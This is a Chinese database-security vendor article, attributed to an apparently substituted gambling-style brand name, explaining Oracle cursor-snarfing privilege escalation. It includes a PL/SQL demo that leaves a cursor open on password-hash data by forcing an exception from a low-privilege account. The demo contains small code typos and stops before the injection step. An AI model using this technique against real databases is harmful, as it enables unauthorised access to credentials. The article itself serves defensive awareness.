918搏天堂全面適配國產(chǎn)化操作系統(tǒng)及芯片CPU
數(shù)據(jù)安全治理關鍵技術(shù)之數(shù)據(jù)庫脫敏技術(shù)詳解
數(shù)據(jù)安全治理之API監(jiān)測系統(tǒng) ,解決API接口安全問題【918搏天堂】
新一代數(shù)據(jù)庫脫敏技術(shù),為敏感數(shù)據(jù)建立保護盾!
數(shù)據(jù)庫脫敏系統(tǒng)與金融行業(yè)案例解讀
數(shù)據(jù)安全治理建設思路的著力點——數(shù)據(jù)安全咨詢服務【918搏天堂】
數(shù)據(jù)庫防火墻功能有哪些?-數(shù)據(jù)安全-918搏天堂
數(shù)據(jù)安全關鍵技術(shù)之數(shù)據(jù)庫脫敏技術(shù)詳解【918搏天堂】
數(shù)據(jù)庫游標概念的引入,使數(shù)據(jù)庫操作更加靈活,但同時也為黑客入侵提供了便利。918搏天堂數(shù)據(jù)庫安全攻防實驗室(DBSec Labs)以Oracle游標為主要分析對象,基于其應用原理剖析游標可能帶來的數(shù)據(jù)庫安全隱患及安全措施,希望幫助用戶提前部署防護手段。
我們將Oracle游標的安全問題分為三類:
1、缺乏異常處理,掛起的游標被惡意利用
2、oracle游標漏洞提權(quán)
3、oracle游標設計本身的安全隱患
本文先對第一種安全威脅進行說明:
游標將數(shù)據(jù)庫中相應的信息存入內(nèi)存塊中,當用戶打開游標的時候,可以直接訪問游標指向的內(nèi)存塊中存放的信息,而無需再訪問基表獲得數(shù)據(jù)。如果一個高權(quán)限用戶建立一個游標卻沒關閉該游標,低權(quán)限用戶就有可能獲得游標中存儲的關鍵信息,或向打開的游標中注入惡意語句,進行高權(quán)限運行,達到提權(quán)或越權(quán)訪問的目的。這就是游標SNARF提權(quán)的基礎。
游標不正常關閉基本是人為造成的,高權(quán)限用戶忘記關閉,或者游標所在的子程序缺乏異常處理機制。如果沒有做相應的異常處理,黑客很有可能制造異常,使游標被一直掛起,利用未關閉的游標,注入惡意代碼。再利用游標自身的高權(quán)限執(zhí)行惡意代碼,進行越權(quán)或者非法提權(quán)操作。
下面試驗用例由918搏天堂數(shù)據(jù)庫安全實驗室提供:
SQL> connect / as sysdba
已連接。
SQL> CREATE OR REPLACE PROCEDURE schina_test(P_USER VARCHAR) IS
2 CURSOR_NAME INTEGER;
3 PASSWORD VARCHAR2(30);
4 I INTEGER;
5 BEGIN
6 CURSOR_NAME := DBMS_SQL.OPEN_CURSOR;
7 DBMS_OUTPUT.PUT_LINE('CURSOR:'||CURSOR_NAME);
8 DBMS_SQL.PARSE(CURSOR_NAME,'SELECT PASSWORD FROM
9 SYS.DBA_USERS WHERE USERNAME=:schina',dbms_sql.native);
10 DBMS_SQL.BIND_VARIABLE(CURSOR_NAME,:schina',P_USER);
11 DBMS_SQL.DEFINE_COLUMN(CURSOR_NAME,1,PASSWORD,30);
12 I:=DBMS_SQL.EXECUTE(CURSOR_NAME);
13 IF PASSWORD = '01234567890ABCDEF' THEN
14 DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS NOT OK');
15 ELSE
16 DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS OK');
17 END IF;
18 DBMS_SQL.CLOSE_CURSOR(CURSOR_NAME);
19 END;
20 /
至此PL/SQL 過程已成功完成。
SQL> grant execute on schina_test to public;
授權(quán)成功。
schina_test 是一個缺乏異常處理代碼的存儲過程,它的作用是對為用戶找到其密碼hash值,然后和固定HASH值進行比較并返回結(jié)果。open_cursor打開游標直到close_cursor或SQL會話終止游標退出。由于缺乏異常代碼機制,用任意低權(quán)限賬號執(zhí)行這個存儲過程,可以觸發(fā)異常掛起游標。
SQL> connect scott/tiger
已連接。
SQL> set serveroutput on
SQL> declare
2 x varchar(40000);
3 i integer;
4 begin
5 fro i in 1..10000 loop
6 x:='b'||x;
7 end loop;
8 sys. schina_test (x);
9 end;
10 /
CURSOR 3241423
通過向p_user中輸入一個過長的x,系統(tǒng)返回ORA-01460錯誤。由于存儲過程schina_test中沒有對異常進行處理,雖然存儲過程中關閉游標了,但由于發(fā)生異常,導致游標被掛起,同時并未真正關閉?梢詫ξ搓P閉的游標注入惡意語句,以達到所需要的效果。
惡意代碼注入是三大數(shù)據(jù)庫安全問題之一,也是攻擊者常用的技術(shù)手段,通過對Oracle游標帶來的安全隱患分析,能夠讓用戶在預知風險的情況下提前部署相應的防護措施,如數(shù)據(jù)庫防火墻,可以對此類注入攻擊進行實時的攔截和阻斷。